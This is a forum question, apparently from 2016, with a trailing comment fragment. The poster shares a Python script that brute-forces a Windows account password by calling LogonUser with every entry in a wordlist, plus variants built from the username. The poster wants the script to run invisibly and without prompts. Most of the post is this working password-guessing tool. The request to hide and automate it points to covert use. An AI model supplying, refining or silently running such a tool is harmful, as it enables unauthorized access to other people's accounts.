Issue
When I run my python script for like in the below example:
c:/python
tool.py
When I run this it asks me to type the username in manually the scan and then ask it asks me to type file name manually containing the other information needed.
Question
I have another solution from another post how to run this process invisible but it is still prompting me for these values when run, and I'd like it to just run without prompting me for these values.
Python Script
def verify_success(username, password):
from win32security import LogonUser
from win32con import LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT
if password == 'BLANK':
try:
password = ""
LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
return True
except Exception, e:
if "blank passwords" in str(e):
return True
else:
return False
else:
try:
LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
return True
except Exception, e:
return False
u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')
pwds = open(fis,'rU')
passwds = pwds.readlines()
for password in passwds:
if password.rstrip() == "%user%":
password = u.rstrip()
if password.rstrip() == "%user%1":
password = u.rstrip()+'1'
if password.rstrip() == "%user%12":
password = u.rstrip()+'12'
if password.rstrip() == "%user%123":
password = u.rstrip()+'123'
if verify_success(u, password.rstrip()):
print 'SUCCESS: => USERNAME: '+u+' '+'PASSWORD: '+password.rstrip()
break
else:
print '[+]Trying: '+u+' '+password.rstrip()
tool.pyor modifying it to suit your needs? – Mokubai Aug 16 '16 at 08:41